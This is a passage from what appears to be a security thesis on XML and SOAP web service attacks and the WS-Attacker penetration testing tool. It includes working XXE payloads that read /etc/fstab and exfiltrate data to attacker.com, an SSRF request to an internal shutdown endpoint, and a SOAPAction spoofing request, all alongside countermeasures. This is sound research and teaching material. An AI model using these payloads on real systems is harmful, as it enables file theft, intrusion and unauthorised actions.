over the network, for example, from the attacker’s server, the download speed
can be reduced in order to improve the impact of this attack and to allocate
additional network resources for a longer period.

Listing 2.11: Example of the Quadratic Blowup attack.

1 <!DOCTYPE data [
2 <!ENTITY dosfile SYSTEM

"http:// attacker.com/large -file.xml">
3 ]>
4 <data>&dosfile;</data>

Challenge: Not Applicable to Arbitrary Files. Our investigation shows
that all parsers abort processing if the referenced file is not well-formed [24,
Section 2.1], for example, if the syntax is incorrect. We confirmed this for
common attack vectors under both UNIX (/dev/random, /dev/urandom and
/dev/zero ) and Windows C:/pagefile.sys. Hence, we conclude that this
attack is only feasible with large XML documents.

2.1.2.5 Countermeasures

Applicable countermeasures against these attacks are:

§ Prevention by disabling insecure parser features. However, disabling
features is not possible in all cases and some XML parsers do not offer a
configuration possibility for this purpose. In such cases, the XML parser
should be exchanged with another one.

§ Counteraction by implementing custom thresholds. For example, IBM
DataPower implements different thresholds for the number of XML bytes
scanned.
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§ Limitation of the allocated resources. This is similar to thresholds, but
works on the CPU and memory level.

For more details on countermeasures, we refer to [208, 209].

2.1.3 File System Access

A File System Access (FSA) is utilized to read arbitrary files from a system.
Steuck [212] discovered an XML-based FSA attack called XML External Entity
(XXE) for the first time in 2002. XML External Entity (XXE) attacks are
instances of injection attacks.

2.1.3.1 Classic XML External Entity

XXE attacks misuse a benign feature, namely External General Entities. In
contrast to the benign usage of External General Entities, the attacker injects a
path to an arbitrary resource (e.g., /etc/passwd) and the contents are returned.
Extension: No External Entity allowed in Attributes. The XML spe-
cification forbids the reference of External General Entities in attribute values.
Yunusov [247] showed how to bypass this limitation in 2013. By means of an
External Parameter Entity, the content of an external resource is included into
an Internal General Entity, which can then be used as an attribute value. This
mimics the same functionality as an External General Entity.
Challenge: Syntactical Correctness of XML (Well-formedness). The
content of files referenced by an External General Entity that are not well-
formed [24, Section 2.1] cause the parser to trigger an exception and abort
processing. Some examples of not well-formed replacement text include a start-
tag without a corresponding end-tag or characters forbidden in XML, such as the
left angle bracket (<). Therefore, it is not possible to read certain configuration
files (e.g., /etc/fstab) with a classic XXE attack.

2.1.3.2 XXE Based on Parameter Entities

Internal Parameter Entities can be used to create a CDATA node [24, Section
2.7] and in this way, escape the contents of the file. Consequently, the parser
no longer triggers an exception. The first variation of this attack is mentioned
by Morgan [149]. The attack consists of two vectors complementing each other,
whereat Listing 2.12 presents the XML document that is submitted to the XML
parser.

Listing 2.12: Part one of the Parameter-based XXE attack.

1 <!DOCTYPE data SYSTEM "http:// attacker.com/all.dtd">
2 <data>&all;</data>

As shown in Line 1, the XML parser is instructed to retrieve an external
DTD. Its content is depicted in Listing 2.13.
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Listing 2.13: Part two of the Parameter-based XXE attack.

1 <!ENTITY % start " <![CDATA[">
2 <!ENTITY % file SYSTEM "file: ///etc/fstab">
3 <!ENTITY % end "]]>">
4 <!ENTITY all ’%start;%file;%end;’">

In the given example, three Parameter Entities are used:

(1.) start begins the escape sequence (Line 1).

(2.) file contains the content of the referenced file. All characters are escaped
and hence, the content is well-formed according to the XML specifica-
tion [24, Section 2.1] (Line 2).

(3.) end closes the escape sequence (Line 3).

The Internal General Entity named all (Line 4) orders the Internal Parameter
Entities (start, file, and end).

2.1.3.3 Blind XXE

All previous XXE attacks assume that the XML content is echoed back to the
attacker. This is not always the case. In an Single Sign-On (SSO) system (e.g.,
SAML), the user sends his SAML token, which is an XML message, to a server
and is either logged in or blocked. In other words, the user receives a true/false
answer instead of an echoed XML message. This scenario is comparable to
blind SQL-Injection attacks, in which the attacker does not see the provoked
error messages [168].
Even if such a direct feedback channel is not available, an FSA attack is

still feasible using blind XXE.1 By referencing a non-existent file [185, 193],
the parser aborts the processing and displays an error message directly to the
attacker. Yunusov [247] invokes an HTTP GET request to the attacker’s server
and includes the contents of the file with an External Parameter Entity as the
path to the resource. Consequently, the content of the file corresponds to the
requested file on the attacker’s server. The attacker only has to review his log
files in order to retrieve the content of the file.
A more detailed example can be found in Section 3.9.3.6. We there show how

to apply a blind XXE attack on a SAML-based SSO protocol.

Challenge: Reading out multi-line files. Line termination characters are
not allowed as characters of a URL. If the parser does not automatically encode
line termination characters, only the first line of a file can be stolen using this
attack.

The FTP Protocol. Novikov [159] reported a solution to this challenge for
Java by relying on the FTP protocol. Instead of transferring the file content as

1This term is coined analogously to blind SQL-Injection.
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a GET parameter to http://attacker.com?MULTILINECONTENT, Novikov pro-
posed to use ftp://attacker.com?MULTILINECONTENT. The attacker then sim-
ulates an FTP server. Each line of the file is interpreted as an FTP command.
In this way, a multi-line file can be read out.

2.1.4 Server-Side Request Forgery

Server-Side Request Forgery (SSRF) attacks send - in the context of XML -
requests on behalf of the XML parser to other endpoints on the network [143].
Usually, these endpoints are not accessible from the Internet (e.g., they are
protected by a firewall). SSRF attacks are used to search for open ports on
a host, inject malicious content (e.g., HTTP header injection) [166], use other
URLs or steal Windows credentials [149].
The most prevalent SSRF attack, based on a DOCTYPE, has already been

implemented in popular scanning tools such as Burp [213]. For our example, we
suppose a host 192.168.0.11 on an internal network that offers several operations
for remote administration, such as “shutdown”. An exemplary setup is shown in
Listing 2.14.

Listing 2.14: SSRF attack based on DOCTYPE.

1 <!DOCTYPE data
SYSTEM "http: //192.168.0.11/ shutdown">

2 <data/>

An attacker can remotely invoke the shutdown operation on this host by
letting the parser send the request.
Applicable countermeasures against these attacks are:

§ Prevention by disabling insecure parser features.

§ Filtering by implementing input validation based on a whitelist/blacklist.

2.1.5 Additional Attack Techniques

The XML parsing process may consist of other optional processing steps, which
can introduce further vulnerabilities.
XSLT and XInclude. If a parser processes XSLT or XInclude, it is potentially
vulnerable to all the attacks previously listed, namely DoS, FSA and SSRF. An
example of this attack is shown in Section 3.9.3.7. We inserted XSLT into a
SAML token to get file system access on a cloud provider.
XML Schema. The attributes noNamespaceSchemaLocation as well as the
attribute schemaLocation can be misused to conduct SSRF attacks.

2.2 Web Service Foundations

A web service is a method for interprocess interactions over networks between
different software applications. A web service can be implemented using differ-
ent technologies, for example, Representational State Transfer (REST) [64] or
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SOAP [21, 74]. In this chapter, we concentrate on SOAP messages. They basi-
cally consist of an <Envelope> element with two child elements named <Header>
and <Body>: the SOAP header can contain meta information such as nonces,
timestamps, or XML Signatures. The SOAP body is used for storing a web ser-
vice operation and its parameters. Listing 2.15 shows a simple SOAP message
querying a prime generation web service.

Listing 2.15: An exemplary SOAP message.

1 <?xml version="1.0"?>
2 <soap:Envelope
3 <soap:Header/>
4 <soap:Body >
5 <generatePrime >
6 <minBitSize >2000</minBitSize >
7 </generatePrime >
8 <soap:Body >
9 </soap:Envelope >

The concrete structure of the SOAP message used to communicate with a web
service and the binding information is described in the Web Services Description
Language (WSDL) [148]. Based on the WSDL file a SOAP message is generated
by the client and sent to the web service. The web service processes the request
and then returns a SOAP response.

2.2.1 Processing a Web Service Request on Server Side

In order to define the attack surface for web service specific attacks, the life cycle
of a web service request is shown below. The internal processing of a receiving
web service is depicted in Figure 2.1, based on the web service framework Apache
Axis2 [65].

Transport
Listener

Handler A

Phase A

Handler M

Phase M
Message
Receiver

Transport
Listener

Handler Z

Phase Z

Handler N

Phase N
Message
Receiver

<soap:Envelope >

SOAP Request

</soap:Envelope >

<soap:Envelope >

SOAP Response

</soap:Envelope >

InHandlers

OutHandlers
Businesslogic
Service class

Network Business LogicWeb Service Processing Stack

Figure 2.1: Web service message flow based on the Axis2 framework.

An incoming request is first processed by the transport listener and then
passed through a pipeline of preconfigured or custom handlers. A security han-
dler, for example, can be used to decrypt an incoming message or to evaluate
its signature. If all handlers are passed successfully, the message receiver for-
wards the message to the business logic (application logic). The response is
analogously processed.
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2.2.2 XML Security

XML is a specification offering a possibility for flexible storage of tree-based
data. Due to its flexibility, XML gained much popularity in recent years. It
is currently used for data transmission, data storage, or in the case of a web
service for function invocation calls.
Since XML documents often contain confidential and reliable data, the W3C

consortium has developed standards that describe the XML syntax for applying
cryptographic primitives to arbitrary XML data. The resulting standards are
XML Encryption [48] and XML Signature [79]. Using XML Encryption to
XML data ensures its confidentiality. In parallel, XML Signature guarantees
data integrity and authenticity. Both can be applied to arbitrary data in the
document.

2.2.3 Web Services Security

SOAP-based web services are commonly exchanged over the HTTP. This allows
to use SSL/TLS as a secure transport mechanism [44–46]. Transport layer secu-
rity, however, does not bring advantages if the SOAP messages are transferred
over more than one endpoint. Therefore, the OASIS group maintains the Web
Service Security (WS-Security) [153], which specifies how to:

(1.) Sign and verify (parts of) SOAP messages using XML Signature [79].

(2.) Encrypt and decrypt (parts of) SOAPmessages using XML Encryption [48].

(3.) Add security tokens, such as timestamps or credentials, to SOAP mes-
sages.

This allows securing the messages on the message-level and protecting them
during the whole transport, even over many endpoints.

2.2.3.1 XML Signature

XML Signature is a W3C recommendation that defines a syntax for using digital
signatures in XML messages [79]. It is used for ensuring the integrity and
authenticity of XML message fragments or even of the whole XML message.
The signing process works as follows: For each XML fragment to be signed,

a <Reference> element is created and the <DigestValue> of the element ref-
erenced by the URI attribute is computed using the algorithm specified in the
<DigestMethod> element. Afterwards, the <SignedInfo> element is signed us-
ing the algorithm defined in the <SignatureMethod> element.
For embedding an XML Signature into a SOAP message, the Signature

element is placed as a child of a WS-Security header, as depicted in Figure 2.2.

2.2.3.2 XML Encryption

XML Encryption is a W3C recommendation that defines structures for ensuring
confidentiality on the XML message-level [24]. Similarly to XML Signature, it
is possible to encrypt whole XML documents or only parts of them.
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ds:SignedInfo
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ds:DigestMethod
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soap:Body
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URI=”#body”

wsu:Id=”body”

Protected by DigestValue

Protected by SignatureValue

Figure 2.2: Simplified example of a signed SOAP message.

In most cases, a hybrid encryption scheme is used. Asymmetric encryption
is utilized to encrypt a freshly generated symmetric session key. The session
key is then used to encrypt XML data. Figure 2.3 gives an example of a SOAP
message containing a hybrid ciphertext. This message consists of the following
parts:

(1.) The <EncryptedKey> element with an encrypted session key k.

(2.) The <EncryptedData> element with payload data encrypted using the
session key k.

A SOAP-based web service processes such an XML document as follows: it lo-
cates the <EncryptionMethod> and <KeyInfo> elements in the <EncryptedKey>
element to retrieve the used algorithm and the asymmetric decryption key. The
server decrypts the content of the <CipherValue> element using RSA-PKCS#1
v1.5.5 [99]. After successful decryption, the content is further used as a session
key k.
Afterwards, the server searches for the <EncryptedData> elements according

to the URI in the <DataReference> element. It determines the needed symmet-
ric algorithm from the <EncryptionMethod> element and decrypts the content
of the <CipherValue> element with the session key k. Finally, the decrypted
payload data is parsed, and put back into the XML document tree. The server
can then process the plain SOAP message and respond to the client.
If an error occurs during one of the decryption steps or during the parsing

process, the server typically responds with an error message to the client.

21



2 Web Services Security
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Figure 2.3: Simplified example of an encrypted SOAP message.

2.3 WS-Attacker – Penetration Testing Tool for Web
Services Security

SOAs have been developed as a new software paradigm, which enforces soft-
ware modularization and reuse. XML has become the key technology to im-
plement SOA, surrounded with the related W3C-standards such as SOAP [74],
WSDL [148], or XML Schema [210]. It has been relatively quickly realized that
these architectures need to support flexible security mechanisms. Thus, the
OASIS consortium has developed additional standards describing application of
security mechanisms in SOAP messages (WS-Security [153]), building security
policies (WS-SecurityPolicy [233]), or exchanging authentication (SAML [192])
and authorization tokens (XACML [151]).
Unfortunately, the complexity and large number of these standards have led

to the emergence of web service specific attacks. A short overview of some well-
known web service specific attacks, mainly taken from Jensen et al. [91] can
be seen in Table 2.1. The most important attacks are those breaking crypto-
graphic primitives defined in the XML messages. The so-called XML Signature
Wrapping (XSW) attacks [16, 17, 137] allow an attacker to arbitrarily mod-
ify signed messages. The practical impact of these attacks has been shown
by its application on Amazon EC2 SOAP and Eucalyptus cloud web service
interfaces [73, 205] or on different SAML-based SSO frameworks [129, 206]. An-
other relevant attack in this area has been presented by Jager and Somorovsky
[87]. They showed that it is possible to decrypt arbitrary XML ciphertexts if
a server working as a plaintext validity oracle is given. The development of
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XML Signature Wrapping Attack on XML Encryption
Oversize Payload Coercive Parsing
SOAPAction Spoofing XML Injection
WSDL Scanning Metadata Spoofing
Attack Obfuscation Oversized Cryptography
BPEL State Deviation Instantiation Flooding
Indirect Flooding WS-Addressing Spoofing
Middleware Hijacking

Table 2.1: Overview of existing web service specific attacks.

countermeasures against this attack is not trivial, as many side channels can
be revealed by the server-side implementation [207]. In addition to the attacks
on cryptographic data primitives, there is a whole series of highly efficient DoS
attacks. The adversaries could, for example, apply the HashDoS attack on
the XML-structure [194] or force the server to execute expensive cryptographic
algorithms.
Developers are usually only familiar with a small number of web services stan-

dards and they are therefore most likely not able to identify vulnerabilities in the
implemented web services interfaces. Compared to attacks like SQL-Injection
and XSS – which can be checked with a number of penetration testing tools –
there are no solutions offering automated testing of XML-specific vulnerabili-
ties. For these reasons, we decided to develop the first automated penetration
testing tool for XML-based web services called WS-Attacker.
Contribution. In this section, the basic design decisions for creating this
modularized tool are presented. Moreover, a description of the implementa-
tion and inclusion of new attacks considering the interfaces of WS-Attacker is
given. Afterwards, details of two attack implementations already included in the
framework are deepened: WS-Addressing Spoofing and SOAPAction Spoofing.
The evaluation of their implementation is presented using four widely-used web
services frameworks: Apache Axis2, JBossWS native, JBossWS CXF and .NET
web services. WS-Attacker is offered as an open source implementation [118]
to a wide range of web services developers and today used by many pentesting
companies as a de facto standard for web service vulnerability testing.
The results of this section are based on our paper “Penetration Testing Tool

for Web Services Security” [135].

2.3.1 Web Services Attacks

In the following, we give an overview of existing attack classes used against web
services.

2.3.1.1 Web Service Specific vs. Non-Specific Attacks

SOAP-based web services use XML-based messages sent over different protocols.
They can execute operations on a remote system or access a database. The
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XML-based SOAP messages can contain different data giving the client access
rights to a service operation or to addressing a next web service that should be
invoked. Considering these facts, a web service interface can be vulnerable to
different groups of attacks:

§ Non-specific web service attacks are abusing weaknesses in the back-end
of an application, for example, Buffer Overflows or SQL-Injection.

§ Specific web service attacks exploit vulnerabilities on SOAP and XML.
They attack the XML parser with DoS attacks, build unexpected SOAP
messages, or attack the confidential data transmitted in the SOAP mes-
sage.

The preferred way to build secure web services is checking for security by
means of an attack framework. If the service resists these attacks, this is a good
indicator for security. Non-specific web service attacks are well-known from web
applications. Information about them are described by the OWASP [167]. A
good all-in-one tool for testing web applications is the Web Application attack
and Audit Framework (w3af) [188]. Nevertheless, there is no automated vulner-
ability scanner which uses web service specific attacks. The only possibility to
attack web services is to do manual tests, for example, using SoapUI [203].

2.3.1.2 Web Service Addressing

Web Service Addressing (WS-Addressing) [22] is a standard supporting the mes-
sage routing definition directly inside of the exchanged SOAP messages. This
makes the routing data independent of the underlying protocol and of any trans-
port characteristics.
An example of WS-Addressing defined in the SOAP message header is given

in Listing 2.16. Using this message, the client accesses the shop’s services de-
fined in the <wsa:To> element. He executes the function buy_article in the
<wsa:Action> element. If the article is contained in the store, the message can
be forwarded to the billing service in the <wsa:ReplyTo> property. Otherwise,
the message is forwarded to a service defined in the <wsa:FaultTo> element,
which handles reordering and informs the client about the next processing steps.

Listing 2.16: WS-Addressing applied in the SOAP header.

1 <soapenv:Header xmlns:wsa=’.../ addressing ’>
2 <wsa:To >services/shop</wsa:To >
3 <wsa:Action >buy_article </wsa:Action >
4 <wsa:ReplyTo >
5 <wsa:Address >http:// serverA/billing </wsa:Address >
6 </wsa:ReplyTo >
7 <wsa:FaultTo >
8 <wsa:Address >http:// serverB/error</wsa:Address >
9 </wsa:FaultTo >

10 </soapenv:Header >
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Figure 2.4: Idea of WS-Addressing Spoofing.

2.3.1.3 WS-Addressing Spoofing

WS-Addressing Spoofing is a web service specific attack [91]. The idea of this
attack is depicted in Figure 2.4: the attacker sends a SOAP request to the
server containing a WS-Addressing header, which provokes the server to send
the SOAP response to a different endpoint.
The specification offers three different methods for doing this:

ReplyTo: The server sends the response to any arbitrary endpoint defined in
the <wsa:ReplyTo> element. This will only work if the request is valid
and no error occurs.

FaultTo: The server sends every SOAP fault to the endpoint defined in the
<wsa:FaultTo> element. For attacking a web service, a SOAP body that
does not contain any child elements can be used. This causes the web
service to respond with a SOAP fault. Thus, the impact of this method is
more powerful because provoking SOAP faults is easier than generating a
valid request.

To: The <wsa:To> element address to which the messages are intended to be
forwarded for further processing.

Using WS-Addressing for asynchronous message exchange raises different at-
tack possibilities, for example, flooding another web service, or even Distributed
Denial-of-Service (DDoS) is possible. Therefore, one of the three methods men-
tioned above is sufficient. A countermeasure against WS-Addressing Spoofing
is the verification of the endpoint reference (Whitelist), ideally before any com-
putation.

2.3.1.4 SOAPAction

SOAP does not specify any concrete transport protocol. In most cases, HTTP
is used. This allows to define additional data in the HTTP headers and filter the

25



2 Web Services Security

messages using standard HTTP firewalls. One example of an additional HTTP
header is the SOAPAction field, which redundantly corresponds with the SOAP
body operation. According to the SOAPAction field, the firewall can decide, for
example, whether the message sender can execute the given operation.
An example of a SOAP message including all relevant HTTP headers is given

in Listing 2.17.

Listing 2.17: A valid SOAP message for OperationA

1 POST /webservice HTTP /1.1
2 Host: soapActionSpoofingHost
3 SOAPAction: "ActionA"
4

5 <Envelope >
6 <Header/>
7 <Body>
8 <OperationA/>
9 </Body>

10 </Envelope >

2.3.1.5 SOAPAction Spoofing

SOAPAction Spoofing is another web service specific attack [91]. It misuses the
SOAPAction property that is used by a web service to determine the operation
to be executed on the server. The SOAPAction parameter is a mandatory HTTP
header in SOAP version 1.1. In SOAP version 1.2, it is optional and can be set
in the HTTP Content-Type header. It is additionally possible to configure the
SOAPAction property by using WS-Addressing. The basic idea of the attack
can be explained using the following example. Let us consider a web service
offering two operations: OperationA and OperationB. The WSDL for the web
service defines the SOAPAction for each operation in the operation element.
ActionA and ActionB are the corresponding actions. A valid SOAP message for
OperationA contains the corresponding names in both fields: the SOAPAction
parameter is set to ActionA and the name of the first SOAP body element is
OperationA.
A SOAPAction Spoofing attack changes the SOAPAction header to a different

action, as shown in Listing 2.18 (in comparison to Listing 2.17).

Listing 2.18: SOAPAction spoofing attack message.

1 POST /webservice HTTP /1.1
2 Host: soapActionSpoofingHost
3 SOAPAction: "ActionB"
4

5 <soapenv:Envelope >
6 <soapenv:Header/>
7 <soapenv:Body >
8 <OperationA/>
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9 </soapenv:Body >
10 </soapenv:Envelope >

HTTP-Header:
ActionB

SOAP Body:
OperationA

HTTP-Firewall

Allow: B
Deny: A

Web Service

Figure 2.5: Attacking a web service with SOAPAction Spoofing.

In some cases, this message can provoke an unwanted reaction. Consider an
HTTP Firewall, which handles incoming requests, and a web service with two
operations. If the firewall only checks the SOAPAction header, the message in
Listing 2.18 is illegally allowed and will be forwarded to the web service (cf.
Figure 2.5). The web service logic executes the SOAP body operation because
it does not check authentication – it believes, that the firewall performs this
task.
If OperationB is a public operation (e.g., getServerTime) and OperationA is

one that needs authentication (e.g., deleteAllUsers), the SOAPAction Spoofing
attack can be used to execute deleteAllUsers without any authentication. A
real life example for the attack was published in 2010 [33]: SourceSec Security
Research found a vulnerability in D-Link routers, which allowed administrative
access using SOAPAction Spoofing.

2.3.2 Concept for a Web Services Penetration Testing Tool

This section describes the basic idea of the web services penetration testing tool
WS-Attacker and deals with its requirements from different points of view.

2.3.2.1 Requirements for Attack Plugin Developers

The requirements for attack plugin developers can be summarized to the follow-
ing aspects:

(1.) It must be easy to implement new attacks, which are each represented
by a WS-Attacker plugin.

(2.) Any attack category must be supported (spoofing attacks, DoS, etc.)

(3.) Open for extension: there must be support even for prospective, not
yet invented attacks.

In general, a plugin developer has the task to create the attack-plugin without
knowing WS-Attacker’s internals. It must be as easy as possible to create new
attacks and any kind of attacks must be supported. This is why WS-Attacker
only provides a plugin interface and some helper classes – each attack request
must be sent by the plugin itself.
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2.3.2.2 Requirements for WS-Attacker Users

The requirements for a WS-Attacker user must be seen from a different point
of view. They can be summarized as follows:

(1.) WS-Attacker must be easy to use.

(2.) Only a few clicks are necessary to test a web service.

(3.) The users do not need any knowledge about XML or web services
and, especially, they do not need any knowledge about XML Security.

A typical WS-Attacker user might be a company, which provides a web service
either for its clients, or for internal processes. This web service should be secure
against all known attacks. By using WS-Attacker, the company can easily detect
vulnerabilities.

2.3.2.3 Processing Steps

For setting up the configuration to attack a web service, WS-Attacker works as
follows:

(1.) The user must load a WSDL. He can provide a local file or a URL.

(2.) WS-Attacker has to analyze it and extract all possible operations. Then
the user selects the operation which will be attacked.

(3.) WS-Attacker must be able to generate a valid request stub for the selected
operation and provide input fields for message parameters.

(4.) The user submits a test request. The response to this request represents
the normal state of the web service. Each attack plugin will get this
request-response pair as a reference to build the attack vector.

(5.) The plugins have to be configured and enabled.

(6.) WS-Attacker runs the enabled plugins.

(7.) Results generated by the plugins are presented to the user.

The plugin architecture allows to extend WS-Attacker with new attacks. Each
plugin represents exactly one attack and WS-Attacker uses a plugin manager to
hold and activate these plugins. Thus, WS-Attacker’s main responsibilities are
parsing a WSDL and generating the SOAP request content out of it. After the
attack plugins finish, WS-Attacker will present the results.
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2.3.2.4 WS-Attacker Results

WS-Attacker produces three types of results:

(1.) It displays whether the attack was successful or not.

(2.) It gives an integer rating to view the impact of the attack.2

(3.) It produces log entries that can be filtered by their importance level and
may contain additional information, for example, concrete SOAP mes-
sages.

It is very important to distinguish between these kinds of results: the first one
is just an indicator for the detection of a vulnerability in general, so the result
will be True or False. The second one rates the potential risk of an attack. For
example, a DoS attack can stop a server for several minutes or even completely
so that a reboot is necessary. The rating can also be used to describe the level of
difficulty to exploit the vulnerability. For example, attacking XML Encryption
is more difficult if it is used in combination with XML Signature. The third type
of result can be seen as an advanced log: each plugin can produce log entries
which belong to a certain verbosity level. The user can then change this level
to filter the entries for viewing only the ones he is interested in.

2.3.3 WS-Attacker – Implementation Details

This section gives an overview of WS-Attacker’s implementation details.

2.3.3.1 Overview

The general components of WS-Attacker are shown in Figure 2.6. The program
is divided into two parts:

§ Framework: This is the main part of WS-Attacker. Its task is to set
up the environment for attacking web services and manage the processing
steps described in Section 2.3.2.3.

§ Plugin Architecture: WS-Attacker can hold an unlimited number of
plugins, whereat each plugin represents an attack.

2.3.3.2 SoapUI as Back-end

As mentioned in Section 2.3.2.3, a web service penetration test framework, such
as WS-Attacker, needs to a) create requests out of a WSDL, b) edit the re-
quest parameters, and c) send them to the server. Using Java, there are a few
possibilities for doing this:

2This was the initial idea, as described in our first WS-Attacker publication [135]. With
the progress of this thesis, it is later on replaced by a percentage rating for a better
comparability among different attacks.
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Figure 2.6: General overview of WS-Attacker components and processing steps.

(1.) Implementing own classes handling these steps. This includes building an
XML and an XML Schema parser [210]. To send a request, some helper
methods must be provided, unless the plugin developer intend to use raw
HTTP sockets.

(2.) Using the Java SAAJ tools from javax.xml.soap [78]: this package can
manipulate SOAP messages and provides some helper classes for sending
requests.

(3.) Relying on a third-party solution.

The first approach is very complex and time-consuming. A lot of tests need
to be created in order to find bugs. It is therefore simpler, faster and safer to
rely on standards. The second approach seems to be very promising since it uses
standard Java packages, and SAAJ is very flexible for creating and manipulating
SOAP messages. Nevertheless, there are some problems:

(1.) Each XML element is saved as a single object. Especially for web service
specific attacks, one must be able to create malformed messages, for ex-
ample, to create only open tags and no end tags. There are also problems
when adding special characters, as they are escaped automatically.

(2.) SAAJ does not provide a WSDL parser, so there is no possibility to create
the basic SOAP request content for a defined operation.

Whereas the first problem could be wrapped by serializing SAAJ objects and
sending a manual request via custom HTTP sockets, the second one cannot be
solved as easily as the first one.
There are two possibilities for creating a request from a WSDL. The first

one uses the WSDL parser wsdl4java. It can parse a WSDL file and extract
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Figure 2.7: The internal structure of WS-Attacker.

the operation name as well as the endpoint URI, but it is unable to generate
the SOAP request content. The content can only be generated by means of an
XML Schema parser, which can extract the specified information from the Types
section of a WSDL. The second makes use of the Apache Axis2 tool wsdl2java.
It can create a request but generates Java code, giving no direct access to the
SOAP request content.
All these problems lead to the third approach: using a third-party tool.

SoapUI is the perfect solution for this. It is written in Java and the LGPL
license allows to use it for custom programs. SoapUI is able to parse WSDL
files, generate requests out of it and also to support helper methods for Basic Au-
thentication, WS-Security etc. Sending requests to the server is simple. SoapUI
uses strings as a datatype to store the SOAP request content. This allows to
create malformed requests or manipulating them to the attacker’s needs.

2.3.3.3 Program Structure

A more detailed overview of WS-Attacker’s internal structure is shown in Fig-
ure 2.7. There are mainly two parts: The Operation Architecture and the Plugin
Architecture.

§ The Operation Architecture represents the basis for creating web ser-
vice requests and can be seen as the main part of the WS-Attacker frame-
work.

§ The Plugin Architecture represents the plugin system, where the attack
plugins are located.

The Operation Architecture has a Testsuite, which acts like a wrapper for
SoapUI. By parsing the WSDL, it selects the CurrentInterface as well as a
CurrentOperation to generate the CurrentRequest. The CurrentRequest will
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also be sent to the web service server to learn the normal state and the behavior
on correctly formatted messages. Therefore, each attack plugin can use that
response for comparing it to the attack response.
The PluginManager holds all available attack plugins. Each plugin extends

the AbstractPlugin class and can have one or more AbstractOptions, for exam-
ple, a signature file or some other configuration parameters. The WS-Attacker
Graphical User Interface (GUI) reads these options and presents a graphical
input method to the user. To distinguish between different data types, sub-
interfaces of AbstractOption like AbstractOptionInteger and AbstractOption-
Boolean are used.
The results of the attack are collected in the Result object. It can be compared

to an advanced log file, which the GUI will use to present the results to the user.
Results can be filtered by the plugin source and a level, which indicates the level
of importance of the results. The user can choose whether he wants to see only
the most important results, for example, only the successful parts of the attack,
or even SOAP request and response contents.

2.3.3.4 Attack Plugin Interface

In general, an attack plugin has the following tasks:

(1.) Running the attack by using the given operation, request and plugin op-
tions.

(2.) Generating some results which will be displayed to the user.

(3.) Giving a rating about the outcome of the attack.

Thus, while processing the attack, status information must be saved as logging
results. The user sees these results in real-time and can filter them according to
their level. If he only wants to know the most important pieces of information,
he can filter only critical results. Nevertheless, if he wants to see the SOAP
request/response contents, he chooses the tracing level.
Furthermore, each plugin needs to rate the attack success. Therefore, a plugin

developer is responsible for the following two steps:

(1.) Giving an integer rating for the attack. This means, he has to set a
maximum number of points (integer) which can be reached during the
attack and increase the reached points depending on the attack success.

(2.) Implementing a wasSucessful() method to give a Boolean result.

2.3.3.5 Extending AbstractPlugin

In order to build attack plugins, each plugin must extend the AbstractPlugin
interface. Listing 2.19 gives an overview of its methods, which can be divided
into the following parts:
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Listing 2.19: The AbstractPlugin interface (shorted).

public abstract class AbstractPlugin {

// attack identity
public String getName (), getAuthor ()

, getVersion (), getDescription ()
, getCategory ();

// success interface
public boolean wasSuccessful ();
public int getCurrentPoints ();
public int getMaxPoints ();

// result log
final void result(level , content);

// get the plugin options
public OptionContainer getPluginOptions ();

// main part
public void startAttack(testRequest

, testResponse);
}

§ Attack identity contains methods to describe a plugin. This includes
an attack name, a developer, a version and a description. In addition, a
plugin category must be set, so that the GUI can sort conjugated attacks,
for example, spoofing attacks or DoS attacks.

§ Success interface implements the idea mentioned in Section 2.3.2.4. The
interface implements a wasSucessful() function as well as a success rating,
which can be seen as a fraction: getCurrentPoints()

getMaxPoints() .

§ Logging results can be generated inside the implementation using the
result() method. This is a helper method, so it is final.

§ Plugin options can be accessed by the getPluginOptions() method. It
returns a container including objects which extend an AbstractOption in-
terface. WS-Attacker’s GUI then chooses the correct input form, for ex-
ample, an input field or a dropdown box.

§ In themain part, a plugin is started by the startAttack() method. This is
the place where the plugin developer has to implement his concrete attack.

Most of these methods will be used as subroutines in the main part. The
startAttack() method has two arguments which hold the request/response pair
of the test request. These can be used by the plugin for comparing the attack
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responses to the normal state. In this method, the developer generates the
results and, depending on whether the attack was successful or not, uses the
success interface.

2.3.3.6 Minimal Implementation

This section gives a minimal implementation example for a SOAPAction Spoof-
ing attack plugin. It does not give any source code examples, but rather describe
the idea of building a plugin.
In general, there are four steps to take:

(1.) Implementing the attack identity methods like getName() and getDescrip-
tion().

(2.) Implementing the success interface.

(3.) Implementing the plugin options (configuration parameters), if any are
needed.

(4.) Implementing the attack itself.

The first step is obvious. After this, a success interface has to be implemented.
Therefore, it is distinguished between the following results depending on the
SOAP response:

(0.) The response has a SOAP Fault. This is the only correct handling for
SOAPAction spoofing requests.

(1.) The response is not a SOAP message. Maybe it does not even contain any
XML. This leads to a server internal error or misconfiguration. Eventually,
some internals can be revealed, as this failure must be unwanted from
server side – otherwise, the server would have sent a SOAP Fault.

(2.) The server ignores the SOAPAction header and executes the first child of
the SOAP body. This could be used to bypass authentication, for example,
if a web service firewall only checks the SOAPAction HTTP header but
the web service logic executes the operation defined in the SOAP body.

(3.) The server just executes the operation defined in the SOAPAction header.
This can be abused to invoke operations which do not have any parameters
(consider an operation like deleteAllUsers) because the server searches for
them in the first SOAP body child.

As mentioned before, an attack can have different levels of success: although
(2.) and (3.) can be abused to execute operations without any authorization,
(3.) is easier to use, as it only needs to change the SOAPAction. The list above is
used for the integer success interface, so that a WS-Attacker user can see which
parts of an attack are successful and how dangerous they were. Additionally, a
Boolean result must be implemented: wasSucessful() returns true if the attack
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reaches two or three points. Again: the only correct handling for such requests
is to send a SOAP fault.
The next step is to implement the plugin options, if necessary. In case of

SOAPAction Spoofing, the attack can have two different modes:

(1.) An automatic mode, which generates a list of all possible SOAPAction
headers and sends an attack request for each of it.

(2.) A manual mode, which lets the user set the SOAPAction header manually.
For this purpose, a drop-down list with all operations different to the
current operation is shown. The user can select the operation and the
corresponding SOAPAction is displayed in an input field. This field can
also be edited.

In most cases, a user starts the attack in the automatic mode. The manual
mode, in contrast, provides a way to set up a SOAPAction to anything the user
intends to check, for example, whether the user only wants to check a specific
SOAPAction because another one may cause damage to the system.
As a last implementation step, the concrete attack must be implemented.

Therefore, one has to implement the startAttack() method, which test the re-
quest/response as a parameter for comparison. The attack works as follows:

(1.) Getting a list of SOAPActions to be checked, depending on automatic or
manual mode.

(2.) Generating a new attack request as a copy of the comparison request.

(3.) Repeating the following steps for each SOAPAction if the maximum points
are not already reached:

a) Submit the attack request with the specified SOAPAction.

b) Search for the first body child in the response.

c) Compare this child to the one from the comparison response, deter-
mine the kind of success and set the points for this.

2.3.4 Evaluation

